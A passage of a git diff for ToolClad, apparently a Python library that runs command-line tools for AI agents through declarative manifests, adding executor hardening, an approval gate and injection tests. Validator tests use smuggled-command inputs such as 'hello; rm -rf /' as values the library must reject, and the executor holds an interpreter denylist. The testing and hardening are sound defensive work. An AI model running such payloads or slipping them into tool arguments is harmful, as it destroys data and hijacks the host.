test_response_body_capped(self, tmp_path, server): + srv = server({"/big": (200, {}, b"a" * 4096)}) + m = _http_manifest( + tmp_path, f"http://127.0.0.1:{srv.port}/big", output='format = "text"\nmax_bytes = 1024' + ) + env = execute(m, {}) + assert env["status"] == "success" + assert env["output_truncated"] is True + assert env["results"]["raw_output"] == "a" * 1024 + + def test_executed_command_is_declared_form_without_secret(self, tmp_path, monkeypatch, server): + secret = "s3cr3t-value" + monkeypatch.setenv("TOOLCLAD_SECRET_KEY", secret) + srv = server({"/v": (200, {}, b"ok")}) + url = f"http://127.0.0.1:{srv.port}/v?k={{_secret:key}}&q={{q}}" + m = _http_manifest(tmp_path, url, args=_STRING_ARG.format(name="q")) + env = execute(m, {"q": "a/b?c"}) + assert env["status"] == "success" + assert env["command"] == f"GET {url}" + assert "{_secret:key}" in env["command"] + assert secret not in json.dumps(env) + # The request itself carried the expanded secret and the encoded value. + assert srv.requests[0][0] == f"/v?k={secret}&q=a%2Fb%3Fc" + # The dry run shows the resolved request. + dry = execute(m, {"q": "a/b?c"}, dry_run=True) + assert dry["command"] == f"GET http://127.0.0.1:{srv.port}/v?k={secret}&q=a%2Fb%3Fc" + + +@posix_only +class TestOneshotEnvelopeCommand: + def test_executed_command_is_declared_exec(self, tmp_path): + m = _echo( + tmp_path, + ["echo", "{target}", "{_output_file}"], + args=_STRING_ARG.format(name="target"), + ) + env = execute(m, {"target": "hello"}) + assert env["command"] == "echo {target} {_output_file}" + assert env["output_file"] not in env["command"] + # The dry run keeps the resolved argv. + dry = execute(m, {"target": "hello"}, dry_run=True) + assert dry["command"].startswith("echo hello ") + assert "{target}" not in dry["command"] + + def test_legacy_template_is_reported_as_written(self, tmp_path): + with pytest.warns(DeprecationWarning): + m = _load( + tmp_path, + """\ + [tool] + name = "t" + version = "1.0.0" + binary = "echo" + description = "x" + + [args.target] + position = 1 + required = true + type = "string" + + [command] + template = "echo {target}" + + [output] + format = "text" + """, + ) + env = execute(m, {"target": "hello"}) + assert env["command"] == "echo {target}" diff --git a/python/tests/test_injection_vectors.py b/python/tests/test_injection_vectors.py new file mode 100644 index 0000000..8322f71 --- /dev/null +++ b/python/tests/test_injection_vectors.py @@ -0,0 +1,90 @@ +"""The shared negative suite: every vector in ``tests/injection_vectors.json`` +at the repository root, with the verdict the file states. + +The file is shared by all four runtimes and is never edited to suit one of +them; a mismatch here means this runtime is wrong. Vectors are deterministic +and the resolver is replaced so that no vector can cause a DNS lookup. +""" + +from __future__ import annotations + +import dataclasses +import json +from pathlib import Path + +import pytest + +from toolclad import hostpolicy +from toolclad.manifest import ArgDef, load_manifest_from_str +from toolclad.validator import ValidationError, validate_arg + +VECTORS_FILE = Path(__file__).resolve().parents[2] / "tests" / "injection_vectors.json" + +_ARG_FIELDS = {f.name for f in dataclasses.fields(ArgDef)} + + +def _load_vectors() -> dict: + if not VECTORS_FILE.is_file(): + pytest.skip( + f"{VECTORS_FILE} not found: the shared vectors live in the repository, " + "not in a published package" + ) + return json.loads(VECTORS_FILE.read_text(encoding="utf-8")) + + +def _arg_def(spec: dict) -> ArgDef: + unknown = set(spec) - _ARG_FIELDS + assert not unknown, f"vector uses argument keys this runtime does not model: {sorted(unknown)}" + return ArgDef(name="arg", **spec) + + +def _arg_verdict(vector: dict) -> str: + try: + validate_arg(_arg_def(vector["arg"]), vector["value"]) + except ValidationError: + return "reject" + return "accept" + + +def _manifest_verdict(vector: dict) -> str: + try: + load_manifest_from_str(vector["manifest"]) + except ValueError: # includes tomllib.TOMLDecodeError + return "reject" + return "accept" + + +@pytest.mark.filterwarnings("ignore::DeprecationWarning") +def test_injection_vectors(monkeypatch, capsys): + def _no_dns(host: str): + raise AssertionError(f"a vector consulted the resolver for {host!r}") + + monkeypatch.setattr(hostpolicy, "resolve_host_addresses", _no_dns) + data = _load_vectors() + + failures = [] + executed = 0 + for vector in data["arg_vectors"]: + got = _arg_verdict(vector) + executed += 1 + if got != vector["expect"]: + failures.append( + f"arg vector {vector['id']}: expected {vector['expect']}, got {got} " + f"(value={vector['value']!r}; {vector.get('note', '')})" + ) + for vector in data["manifest_vectors"]: + got = _manifest_verdict(vector) + executed += 1 + if got != vector["expect"]: + failures.append( + f"manifest vector {vector['id']}: expected {vector['expect']}, got {got} " + f"({vector.get('note', '')})" + ) + + assert executed > 0, "no vectors were executed" + with capsys.disabled(): + print( + f"\ninjection_vectors.json: executed {executed} vectors " + f"({len(data['arg_vectors'])} argument, {len(data['manifest_vectors'])} manifest)" + ) + assert not failures, "\n".join(failures) diff --git a/python/tests/test_session_browser.py b/python/tests/test_session_browser.py index 451c8cd..d824e4c 100644 --- a/python/tests/test_session_browser.py +++ b/python/tests/test_session_browser.py @@ -6,15 +6,9 @@ import tempfile import os -import pytest from toolclad.manifest import ( load_manifest, - SessionDef, - SessionCommandDef, - BrowserDef, - BrowserCommandDef, - BrowserScopeDef, ) diff --git a/python/tests/test_validator.py b/python/tests/test_validator.py index 6060e6e..7ce9e5f 100644 --- a/python/tests/test_validator.py +++ b/python/tests/test_validator.py @@ -35,8 +35,12 @@ def test_string_pattern_mismatch(self): validate_arg(ad, "ABC123") def test_string_injection_rejected(self): - with pytest.raises(ValidationError, match="shell metacharacters"): + # Whitespace hygiene fires first on the classic payload; a + # whitespace-free payload reaches the metacharacter blocklist. + with pytest.raises(ValidationError, match="whitespace"): validate_arg(_arg("string"), "hello; rm -rf /") + with pytest.raises(ValidationError, match="shell metacharacters"): + validate_arg(_arg("string"), "hello;rm") # --------------------------------------------------------------------------- @@ -48,7 +52,9 @@ def test_valid_integer(self): assert validate_arg(_arg("integer"), "42") == "42" def test_negative_integer(self): - assert validate_arg(_arg("integer"), "-5") == "-5" + with pytest.raises(ValidationError, match="must not start with"): + validate_arg(_arg("integer"), "-5") + assert validate_arg(_arg("integer", allow_leading_dash=True), "-5") == "-5" def test_not_a_number(self): with pytest.raises(ValidationError, match="Expected integer"): @@ -97,7 +103,7 @@ def test_port_out_of_range(self): validate_arg(_arg("port"), "70000") def test_port_negative(self): - with pytest.raises(ValidationError, match="out of range"): + with pytest.raises(ValidationError, match="Expected port number"): validate_arg(_arg("port"), "-1") def test_port_not_a_number(self): @@ -164,17 +170,21 @@ def test_wildcard_rejected(self): validate_arg(_arg("scope_target"), "*.example.com") def test_injection_in_target(self): - with pytest.raises(ValidationError, match="shell metacharacters"): + with pytest.raises(ValidationError, match="whitespace"): validate_arg(_arg("scope_target"), "10.0.1.1; echo pwned") + with pytest.raises(ValidationError, match="shell metacharacters"): + validate_arg(_arg("scope_target"), "10.0.1.1;echo") def test_invalid_target(self): - # "!!!" contains shell metacharacter '!', so injection check fires first - with pytest.raises(ValidationError, match="shell metacharacters"): + # Whitespace hygiene fires before the metacharacter blocklist. + with pytest.raises(ValidationError, match="whitespace"): validate_arg(_arg("scope_target"), "not a valid target at all!!!") def test_invalid_target_no_metachar(self): - with pytest.raises(ValidationError, match="Invalid scope target"): + with pytest.raises(ValidationError, match="whitespace"): validate_arg(_arg("scope_target"), "not a valid target") + with pytest.raises(ValidationError, match="Invalid scope target"): + validate_arg(_arg("scope_target"), "not_a_valid_target") def test_trailing_whitespace_rejected(self): # RFC 1035 / RFC 5891 don't permit terminal whitespace in hostname @@ -183,9 +193,10 @@ def test_trailing_whitespace_rejected(self): validate_arg(_arg("scope_target"), "example.com ") with pytest.raises(ValidationError, match="whitespace"): validate_arg(_arg("scope_target"), " example.com") - with pytest.raises(ValidationError, match="whitespace"): + # Tab and newline are control characters and are rejected as such. + with pytest.raises(ValidationError, match="control characters"): validate_arg(_arg("scope_target"), "\texample.com") - with pytest.raises(ValidationError, match="whitespace"): + with pytest.raises(ValidationError, match="control characters"): validate_arg(_arg("scope_target"), "example.com\n") def test_overlong_rejected(self): @@ -410,9 +421,9 @@ def test_invalid_string(self): validate_arg(_arg("number"), "abc") def test_rejects_nan_and_inf(self): - with pytest.raises(ValidationError, match="finite"): + with pytest.raises(ValidationError, match="Expected number"): validate_arg(_arg("number"), "NaN") - with pytest.raises(ValidationError, match="finite"): + with pytest.raises(ValidationError, match="Expected number"): validate_arg(_arg("number"), "inf") def test_min_max_floats(self): diff --git a/python/toolclad/__init__.py b/python/toolclad/__init__.py index 570cfe0..0c9f1b2 100644 --- a/python/toolclad/__init__.py +++ b/python/toolclad/__init__.py @@ -1,8 +1,14 @@ """ToolClad: Declarative Tool Interface Contracts for Agentic Runtimes.""" -__version__ = "0.6.1" +__version__ = "0.6.2" from toolclad.manifest import ( + MANIFEST_KEYS, + CustomTypeDef, + discover_custom_types, + load_custom_types, + load_manifest_from_str, + LoadOptions, Manifest, HttpDef, McpProxyDef, @@ -13,12 +19,49 @@ BrowserCommandDef, BrowserScopeDef, BrowserStateDef, + find_unknown_keys, load_manifest, + load_manifest_with_options, + validate_manifest_with_custom_types, +) +from toolclad.validator import ( + ValidationError, + validate_arg, + validate_arg_in, + validate_arg_mode, + validate_arg_with_custom_types, + validate_arg_with_custom_types_mode, +) +from toolclad.scope import ( + ScopeDef, + ScopeError, + check_scope, + discover_scope, + host_matches_rule, + ip_in_cidr, + load_scope_file, + url_host_in_scope, +) +from toolclad.executor import ( + GateDecision, + PolicyDenied, + approve_gate, + default_gate, + build_command, + build_command_argv, + compile_command, + execute, + inject_template_vars, + tokenize_template, ) -from toolclad.validator import validate_arg -from toolclad.executor import build_command, execute, inject_template_vars __all__ = [ + "MANIFEST_KEYS", + "CustomTypeDef", + "discover_custom_types", + "load_custom_types", + "load_manifest_from_str", + "LoadOptions", "Manifest", "HttpDef", "McpProxyDef", @@ -29,9 +72,32 @@ "BrowserCommandDef", "BrowserScopeDef", "BrowserStateDef", + "find_unknown_keys", "load_manifest", + "load_manifest_with_options", + "validate_manifest_with_custom_types", + "ValidationError", "validate_arg", + "validate_arg_in", + "ScopeDef", + "ScopeError", + "check_scope", + "discover_scope", + "host_matches_rule", + "ip_in_cidr", + "load_scope_file", + "url_host_in_scope", + "validate_arg_mode", + "validate_arg_with_custom_types", + "validate_arg_with_custom_types_mode", + "GateDecision", + "PolicyDenied", + "approve_gate", + "default_gate", "build_command", + "build_command_argv", + "compile_command", "execute", "inject_template_vars", + "tokenize_template", ] diff --git a/python/toolclad/cli.py b/python/toolclad/cli.py index 391a5f3..33d70aa 100644 --- a/python/toolclad/cli.py +++ b/python/toolclad/cli.py @@ -3,14 +3,16 @@ from __future__ import annotations import json +import shlex import sys -from typing import Dict, List, Optional, Tuple +from typing import Dict, List, Tuple import click -from toolclad.executor import build_command, execute -from toolclad.manifest import Manifest, load_manifest -from toolclad.validator import ValidationError +from toolclad.executor import PolicyDenied, build_command_argv, default_gate, execute +from toolclad.manifest import LoadOptions, load_manifest_with_options +from toolclad.scope import manifest_scope +from toolclad.validator import ValidationError, validate_arg_with_custom_types_mode def _parse_args(arg_pairs: Tuple[str, ...]) -> Dict[str, str]: @@ -41,15 +43,24 @@ def main() -> None: @main.command() @click.argument("manifest_path", type=click.Path(exists=True)) -def validate(manifest_path: str) -> None: +@click.option( + "--allow-unknown-keys", + is_flag=True, + help="Report unknown manifest keys as warnings on stderr instead of failing.", +) +def validate(manifest_path: str, allow_unknown_keys: bool) -> None: """Parse and validate a .clad.toml manifest.""" try: - manifest = load_manifest(manifest_path) + manifest = load_manifest_with_options( + manifest_path, LoadOptions(allow_unknown_keys=allow_unknown_keys) + ) except (ValueError, FileNotFoundError) as e: click.echo(f"ERROR: {e}", err=True) sys.exit(1) click.echo(f"Manifest: {manifest.source_path}") + if manifest.custom_types: + click.echo(f"Custom types: {', '.join(sorted(manifest.custom_types))}") click.echo(f"Tool: {manifest.tool.name} v{manifest.tool.version}") click.echo(f"Binary: {manifest.tool.binary}") click.echo(f"Description: {manifest.tool.description}") @@ -61,11 +72,16 @@ def validate(manifest_path: str) -> None: click.echo(f" {arg.name}: {arg.type} ({req})") if manifest.command.template: click.echo(f"Template: {manifest.command.template}") - elif manifest.command.executor: + if manifest.command.exec: + click.echo(f"Exec: {json.dumps(manifest.command.exec)}") + if manifest.command.end_of_options: + click.echo(f"End of opts: {manifest.command.end_of_options}") + if manifest.command.executor: click.echo(f"Executor: {manifest.command.executor}") out_format = manifest.output.format if manifest.output else "(none — callback dispatch)" click.echo(f"Output: {out_format}") click.echo(f"Dispatch: {manifest.tool.dispatch}") + click.echo(f"Mode: {manifest.tool.mode}") click.echo() click.echo("OK") @@ -73,13 +89,19 @@ def validate(manifest_path: str) -> None: @main.command() @click.argument("manifest_path", type=click.Path(exists=True)) @click.option("--arg", "-a", "arg_pairs", multiple=True, help="Argument as key=value") -def run(manifest_path: str, arg_pairs: Tuple[str, ...]) -> None: +@click.option( + "--approve", + is_flag=True, + help="Approve this call: run it even when the manifest requires human " + "approval or declares a high/critical risk tier.", +) +def run(manifest_path: str, arg_pairs: Tuple[str, ...], approve: bool) -> None: """Execute a tool through its .clad.toml manifest.""" try: - manifest = load_manifest(manifest_path) + manifest = load_manifest_with_options(manifest_path) args = _parse_args(arg_pairs) - envelope = execute(manifest, args) - except (ValueError, FileNotFoundError, ValidationError) as e: + envelope = execute(manifest, args, approve=approve) + except (ValueError, FileNotFoundError, ValidationError, PolicyDenied) as e: click.echo(f"ERROR: {e}", err=True) sys.exit(1) @@ -121,7 +143,7 @@ def _mcp_type_and_constraints(arg) -> Tuple[str, dict]: def schema(manifest_path: str) -> None: """Output MCP JSON schema for a manifest.""" try: - manifest = load_manifest(manifest_path) + manifest = load_manifest_with_options(manifest_path) except (ValueError, FileNotFoundError) as e: click.echo(f"ERROR: {e}", err=True) sys.exit(1) @@ -188,18 +210,22 @@ def schema(manifest_path: str) -> None: def test(manifest_path: str, arg_pairs: Tuple[str, ...]) -> None: """Dry-run a tool invocation: validate args and show the constructed command.""" try: - manifest = load_manifest(manifest_path) + manifest = load_manifest_with_options(manifest_path) args = _parse_args(arg_pairs) - # Validate each arg individually for nice reporting. - from toolclad.validator import validate_arg + # Validate each arg individually for nice reporting. allow_whitespace + # is honored only when the manifest declared exec directly. + exec_mode = manifest.command.exec_was_declared + scope = manifest_scope(manifest) click.echo(f" Manifest: {manifest.source_path}") - click.echo(f" Arguments:") + click.echo(" Arguments:") for arg_name, arg_def in manifest.args.items(): if arg_name in args: try: - cleaned = validate_arg(arg_def, args[arg_name]) + cleaned = validate_arg_with_custom_types_mode( + arg_def, args[arg_name], manifest.custom_types, exec_mode, scope + ) click.echo(f" {arg_name}={cleaned} ({arg_def.type}: OK)") except ValidationError as ve: click.echo(f" {arg_name}={args[arg_name]} ({arg_def.type}: FAIL - {ve})") @@ -210,14 +236,22 @@ def test(manifest_path: str, arg_pairs: Tuple[str, ...]) -> None: click.echo(f" {arg_name}=??? (MISSING - required)") sys.exit(1) - command = build_command(manifest, args) - click.echo(f" Command: {command}") + argv = build_command_argv(manifest, args) + click.echo(f" Command: {shlex.join(argv)}") + click.echo(f" Argv: {json.dumps(argv)}") if manifest.tool.cedar.resource: click.echo( f" Cedar: {manifest.tool.cedar.resource} / " f"{manifest.tool.cedar.action}" ) click.echo(f" Timeout: {manifest.tool.timeout_seconds}s") + click.echo(f" Risk tier: {manifest.tool.risk_tier}") + # A dry run is not gated; show what the default gate would decide. + needs_approval = not default_gate(manifest, {}).allowed + click.echo( + " Approval: " + + ("required (run with --approve)" if needs_approval else "not required") + ) click.echo() click.echo(" [dry run -- command not executed]") diff --git a/python/toolclad/executor.py b/python/toolclad/executor.py index c807291..57a96e5 100644 --- a/python/toolclad/executor.py +++ b/python/toolclad/executor.py @@ -2,32 +2,419 @@ from __future__ import annotations +import codecs import csv import hashlib import io import json import os import re +import secrets import shlex import signal +import stat import subprocess +import sys import tempfile +import threading import time import urllib.error +import urllib.parse import urllib.request -import uuid +import warnings +from dataclasses import dataclass + +try: # POSIX only; the spawn path requires it. + import resource +except ImportError: # pragma: no cover - non-POSIX platforms + resource = None # type: ignore[assignment] from datetime import datetime, timezone -from typing import Any, Dict, Optional +from typing import Any, Callable, Dict, List, Optional, Set, Tuple + +from toolclad.manifest import LimitsDef, Manifest, _command_basename, _default_text +from toolclad.schema import schema_error +from toolclad.scope import manifest_scope +from toolclad.validator import ValidationError, validate_arg_with_custom_types_mode + +# Variables the executor injects into every command context. +INJECTED_VARS: Tuple[str, ...] = ("_scan_id", "_output_file", "_evidence_dir") + +# One left-to-right pass over a token: `{{` and `}}` are escapes for literal +# braces and are consumed before `{name}` can match, so `%{{http_code}}` is +# never read as a placeholder named `http_code`. +_PLACEHOLDER_RE = re.compile(r"\{\{|\}\}|\{(\w+)\}") +# A token that is exactly one placeholder (used with fullmatch). +_SOLE_PLACEHOLDER_RE = re.compile(r"\{(\w+)\}") + +_TEMPLATE_DEPRECATION = ( + "[command] template is deprecated and will be removed in the next minor " + "release; use exec = [...]" +) + -from toolclad.manifest import Manifest -from toolclad.validator import ValidationError, validate_arg +# The child's PATH. Fixed, never inherited: an inherited PATH is how a renamed +# binary placed earlier in the search order wins. +SAFE_PATH = "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" + +# Parent variables copied into the child environment, only when set. +_PASSTHROUGH_ENV: Tuple[str, ...] = ("HOME", "LANG", "LC_ALL", "TZ", "TERM") + +# Basenames refused as argv[0] unless ``[tool] allow_interpreter = true``. +INTERPRETERS = frozenset({ + "sh", "bash", "zsh", "dash", "ksh", "csh", "tcsh", "fish", "ash", "busybox", + "env", "eval", "xargs", "python", "python2", "python3", "perl", "ruby", + "node", "deno", "bun", "lua", "php", "awk", +}) + +# Default child resource limits (W6 item 8). RLIMIT_AS and RLIMIT_CPU are set +# only when ``[tool.limits]`` declares them: an address-space cap breaks tools +# that reserve large virtual mappings. +_DEFAULT_NOFILE = 1024 +_DEFAULT_FSIZE = 1 << 30 + +_DEFAULT_KILL_GRACE_MS = 2000 + +_EXT_MAP = {"xml": "xml", "json": "json", "csv": "csv", "jsonl": "jsonl"} def _generate_scan_id() -> str: - """Generate a unique scan ID: unix_timestamp-short_uuid.""" - ts = int(time.time()) - short = uuid.uuid4().hex[:5] - return f"{ts}-{short}" + """Generate a scan ID: ``-<32 hex chars>`` (128 random bits).""" + return f"{int(time.time())}-{secrets.token_hex(16)}" + + +def child_env(extra: Optional[Dict[str, str]] = None) -> Dict[str, str]: + """Build a child environment from the allowlist. + + ``PATH`` is the fixed :data:`SAFE_PATH`; ``HOME``, ``LANG``, ``LC_ALL``, + ``TZ`` and ``TERM`` are copied from the parent when set; ``extra`` (the + executor hatch variables) is added. Nothing else is inherited, and any + ``TOOLCLAD_SECRET*`` name is removed unconditionally so a future change + to the allowlist cannot hand a secret to a child. + """ + env: Dict[str, str] = {"PATH": SAFE_PATH} + for name in _PASSTHROUGH_ENV: + value = os.environ.get(name) + if value is not None: + env[name] = value + if extra: + env.update(extra) + for name in list(env): + if name.upper().startswith("TOOLCLAD_SECRET"): + del env[name] + return env + + +def resolve_binary(program: str) -> str: + """Resolve ``program`` to an absolute path against :data:`SAFE_PATH`. + + A name containing a path separator is used as given. + + Raises: + RuntimeError: When the name is not an executable file on the path. + """ + if os.sep in program or "/" in program: + return program + for directory in SAFE_PATH.split(":"): + candidate = os.path.join(directory, program) + if os.path.isfile(candidate) and os.access(candidate, os.X_OK): + return candidate + raise RuntimeError(f"cannot resolve binary '{program}' on PATH {SAFE_PATH}") + + +def _kill_grace_seconds() -> float: + """``TOOLCLAD_KILL_GRACE_MS`` as seconds; invalid or negative -> 2000 ms.""" + raw = os.environ.get("TOOLCLAD_KILL_GRACE_MS", "").strip() + ms = int(raw) if re.fullmatch(r"[0-9]+", raw) else _DEFAULT_KILL_GRACE_MS + return ms / 1000.0 + + +def _evidence_root() -> str: + """``TOOLCLAD_EVIDENCE_DIR``, else ``/toolclad-evidence``.""" + return os.environ.get("TOOLCLAD_EVIDENCE_DIR") or os.path.join( + tempfile.gettempdir(), "toolclad-evidence" + ) + + +def _output_dir(manifest: Manifest, evidence_dir: str, scan_id: str) -> str: + """The per-call output directory (W6 item 9).""" + if manifest.tool.evidence.output_dir: + return manifest.tool.evidence.output_dir.format( + evidence_dir=evidence_dir, scan_id=scan_id + ) + return os.path.join(evidence_dir, f"{scan_id}-{manifest.tool.name}") + + +def _output_file(manifest: Manifest, output_dir: str) -> str: + """``/scan.``; ``ext`` from ``output.format``, else txt.""" + out_format = manifest.output.format if manifest.output else "text" + return os.path.join(output_dir, f"scan.{_EXT_MAP.get(out_format, 'txt')}") + + +def _make_private_dir(path: str) -> None: + """Create ``path`` (and parents) and force mode 0700. + + The umask may mask the ``makedirs`` mode, hence the explicit chmod. A + directory owned by another user (a pre-planted directory or symlink in a + shared temp directory) is refused. + """ + os.makedirs(path, mode=0o700, exist_ok=True) + st = os.stat(path) + if hasattr(os, "getuid") and st.st_uid != os.getuid(): + raise RuntimeError(f"refusing evidence directory '{path}': not owned by the current user") + os.chmod(path, 0o700) + + +def _write_private_file(path: str, data: str) -> None: + """Create ``path`` mode 0600 and write ``data``. + + ``O_EXCL | O_NOFOLLOW``: an existing file or a pre-planted symlink is + refused rather than overwritten or followed. + """ + flags = os.O_WRONLY | os.O_CREAT | os.O_EXCL | getattr(os, "O_NOFOLLOW", 0) + fd = os.open(path, flags, 0o600) + with os.fdopen(fd, "w", encoding="utf-8") as f: + f.write(data) + + +def _rlimit_plan(limits: LimitsDef) -> List[Tuple[int, int]]: + """The ``(resource, value)`` pairs the pre-exec hook applies.""" + if resource is None: # pragma: no cover - non-POSIX platforms + return [] + plan = [ + (resource.RLIMIT_CORE, 0), + (resource.RLIMIT_FSIZE, limits.fsize_bytes if limits.fsize_bytes is not None else _DEFAULT_FSIZE), + (resource.RLIMIT_NOFILE, limits.nofile if limits.nofile is not None else _DEFAULT_NOFILE), + ] + # RLIMIT_NPROC only when declared: Linux counts it against every task the + # user owns, not the tool's own tree, so any fixed default stops a + # threaded tool from starting a thread on a busy host. + if limits.nproc is not None: + plan.append((resource.RLIMIT_NPROC, limits.nproc)) + if limits.address_space_bytes is not None: + plan.append((resource.RLIMIT_AS, limits.address_space_bytes)) + if limits.cpu_seconds is not None: + plan.append((resource.RLIMIT_CPU, limits.cpu_seconds)) + return plan + + +def _make_preexec(limits: LimitsDef): + """The child pre-exec hook: own process group, umask 0077, rlimits. + + Runs in the forked child before exec; the rlimit plan is computed in the + parent so the hook does as little as possible. A limit above the + inherited hard limit is clamped to it. + """ + plan = _rlimit_plan(limits) + + def hook() -> None: + os.setpgrp() + os.umask(0o077) + for res, value in plan: + _soft, hard = resource.getrlimit(res) + if hard != resource.RLIM_INFINITY and value > hard: + value = hard + resource.setrlimit(res, (value, value)) + + return hook + + +def _signal_group(pgid: int, sig: int) -> None: + try: + os.killpg(pgid, sig) + except (ProcessLookupError, PermissionError): + pass + + +_READ_CHUNK = 1 << 16 + +DEFAULT_MAX_BYTES = 8_388_608 + + +class _CappedReader: + """Drain one pipe in a thread, keeping at most ``limit`` bytes. + + Reading continues past the cap (the excess is discarded) so the child + never blocks on a full pipe. The thread is a daemon: a descendant that + escaped the process group may hold the pipe open after the deadline, + and the caller then takes what has been collected so far. + """ + + def __init__(self, pipe: Any, limit: int) -> None: + self._fd = pipe.fileno() + self._pipe = pipe + self._limit = limit + self._chunks: List[bytes] = [] + self._kept = 0 + self.truncated = False + self._lock = threading.Lock() + self._thread = threading.Thread(target=self._run, daemon=True) + self._thread.start() + + def _run(self) -> None: + try: + while True: + chunk = os.read(self._fd, _READ_CHUNK) + if not chunk: + break + with self._lock: + room = self._limit - self._kept + if room <= 0: + self.truncated = True + continue + if len(chunk) > room: + chunk = chunk[:room] + self.truncated = True + self._chunks.append(chunk) + self._kept += len(chunk) + except OSError: + pass + finally: + try: + self._pipe.close() + except OSError: + pass + + def join(self, timeout: Optional[float]) -> None: + self._thread.join(timeout) + + def text(self) -> str: + """The captured bytes as text. When capped, an incomplete trailing + UTF-8 sequence is dropped rather than rendered as a replacement.""" + with self._lock: + data = b"".join(self._chunks) + truncated = self.truncated + decoder = codecs.getincrementaldecoder("utf-8")(errors="replace") + return decoder.decode(data, final=not truncated) + + +@dataclass +class ProcessResult: + """The outcome of :func:`_run_process`.""" + + returncode: int + stdout: str + stderr: str + timed_out: bool + truncated: bool + + +def _run_process( + argv: List[str], + *, + env: Dict[str, str], + cwd: str, + timeout: float, + limits: LimitsDef, + max_bytes: int = DEFAULT_MAX_BYTES, +) -> ProcessResult: + """Spawn ``argv`` with the hardened settings and wait for it. + + stdin is ``/dev/null``, the environment is ``env`` (from + :func:`child_env`), the working directory is ``cwd``, and the pre-exec + hook puts the child in its own process group with umask 0077 and rlimits. + stdout and stderr are each capped at ``max_bytes``; the pipes are read in + threads with a running total and the excess is drained and discarded. + + On timeout the return code is -1 and the output collected before the + kill is kept. + """ + argv = [resolve_binary(argv[0])] + list(argv[1:]) + proc = subprocess.Popen( + argv, + env=env, + cwd=cwd, + shell=False, + stdin=subprocess.DEVNULL, + stdout=subprocess.PIPE, + stderr=subprocess.PIPE, + start_new_session=False, + preexec_fn=_make_preexec(limits), + ) + out = _CappedReader(proc.stdout, max_bytes) + err = _CappedReader(proc.stderr, max_bytes) + + def result(returncode: int, timed_out: bool) -> ProcessResult: + return ProcessResult( + returncode=returncode, + stdout=out.text(), + stderr=err.text(), + timed_out=timed_out, + truncated=out.truncated or err.truncated, + ) + + timed_out = False + try: + proc.wait(timeout=timeout) + except subprocess.TimeoutExpired: + timed_out = True + except BaseException: + _signal_group(proc.pid, signal.SIGKILL) + proc.wait() + raise + + if not timed_out: + # The child exited; its pipes reach EOF unless a descendant still + # holds them, in which case the read is bounded by the kill grace. + grace = _kill_grace_seconds() + out.join(max(grace, 0.5)) + err.join(max(grace, 0.5)) + return result(proc.returncode, False) + + # Deadline: SIGTERM to the process group, a grace period, then SIGKILL to + # the group. The hook made the child a group leader, so pgid == pid. + # A descendant that calls setsid() leaves the group and escapes this in + # every language: this is cleanup, not containment. Escape-proof cleanup + # needs a cgroup, which is out of scope here. + grace = _kill_grace_seconds() + pgid = proc.pid + _signal_group(pgid, signal.SIGTERM) + try: + proc.wait(timeout=grace) + except subprocess.TimeoutExpired: + pass + # The leader may have exited on SIGTERM while other members ignored it; + # SIGKILL takes the rest of the group either way. + _signal_group(pgid, signal.SIGKILL) + proc.wait() + + # Collect what the child wrote before the kill. A descendant outside the + # group may still hold the pipes open, so this wait is bounded too. + out.join(max(grace, 0.5)) + err.join(max(grace, 0.5)) + return result(-1, True) + + +def _check_argv0(manifest: Manifest) -> None: + """Load-time checks on ``argv[0]`` of an exec/template command. + + The basename must match ``tool.binary`` when it is set, and an + interpreter is refused unless ``allow_interpreter = true``. Skipped for + ``dispatch = "callback"`` and for manifests with no exec command. + """ + cmd = manifest.command + if manifest.tool.dispatch == "callback": + return + # The executor escape hatch is exempt from the basename rule (it is a + # wrapper by definition) but not from the interpreter denylist: + # ``executor = "/bin/sh"`` turns argument values into shell input. + if cmd.executor: + if not manifest.tool.allow_interpreter and _command_basename(cmd.executor) in INTERPRETERS: + raise ValueError( + f"command argv[0] '{cmd.executor}' is an interpreter; " + "set allow_interpreter = true to permit it" + ) + return + if not cmd.exec: + return + argv0 = cmd.exec[0] + binary = manifest.tool.binary + if binary and os.path.basename(argv0) != os.path.basename(binary): + raise ValueError(f"command argv[0] '{argv0}' does not match tool.binary '{binary}'") + if not manifest.tool.allow_interpreter and _command_basename(argv0) in INTERPRETERS: + raise ValueError( + f"command argv[0] '{argv0}' is an interpreter; " + "set allow_interpreter = true to permit it" + ) def _evaluate_condition(when: str, resolved: Dict[str, str]) -> bool: @@ -65,87 +452,416 @@ def _evaluate_single(expr: str, resolved: Dict[str, str]) -> bool: return False -def _resolve_vars(manifest: Manifest, args: Dict[str, str]) -> Dict[str, str]: - """Validate arguments and resolve all template variables into a single context.""" - resolved: Dict[str, str] = {} +def tokenize_template(s: str) -> List[str]: + """Split a trusted manifest template into argv tokens. + + POSIX-like: single and double quotes group text, a backslash outside + single quotes escapes the next character, and unquoted whitespace + separates tokens. This runs on manifest text only; substituted values are + never re-split. + + A ``{`` inside quotes is rejected unless it starts a ``{{`` escape, so a + placeholder can only ever be a whole, unquoted token. + + Raises: + ValueError: On a placeholder inside quotes, an unbalanced quote, or a + trailing backslash. + """ + tokens: List[str] = [] + cur: List[str] = [] + started = False + in_single = False + in_double = False + i = 0 + n = len(s) + while i < n: + c = s[i] + if c == "\\" and not in_single: + if i + 1 >= n: + raise ValueError("trailing backslash in command template") + cur.append(s[i + 1]) + started = True + i += 2 + continue + if c == "'" and not in_double: + in_single = not in_single + started = True + elif c == '"' and not in_single: + in_double = not in_double + started = True + elif c == "{" and (in_single or in_double): + if s[i + 1 : i + 2] == "{": + cur.append("{{") + started = True + i += 2 + continue + raise ValueError( + f"command template places a placeholder inside quotes at offset {i}; " + "placeholders must be whole, unquoted tokens (use exec = [...])" + ) + elif c.isspace() and not in_single and not in_double: + if started: + tokens.append("".join(cur)) + cur = [] + started = False + else: + cur.append(c) + started = True + i += 1 + if in_single or in_double: + raise ValueError("unbalanced quote in command template") + if started: + tokens.append("".join(cur)) + return tokens + + +def _placeholder_names(text: str) -> List[str]: + """Placeholder names in ``text`` in order, skipping ``{{``/``}}`` escapes.""" + return [m.group(1) for m in _PLACEHOLDER_RE.finditer(text) if m.group(1)] + + +def _sole_placeholder(token: str) -> Optional[str]: + """Return the name when ``token`` is exactly ``{name}``, else None.""" + m = _SOLE_PLACEHOLDER_RE.fullmatch(token) + return m.group(1) if m else None + + +def _single_var_names(manifest: Manifest) -> Set[str]: + names: Set[str] = set(manifest.args) + names.update(manifest.command.defaults) + names.update(INJECTED_VARS) + return names + + +def _trusted_var_names(manifest: Manifest) -> Set[str]: + cmd = manifest.command + names = 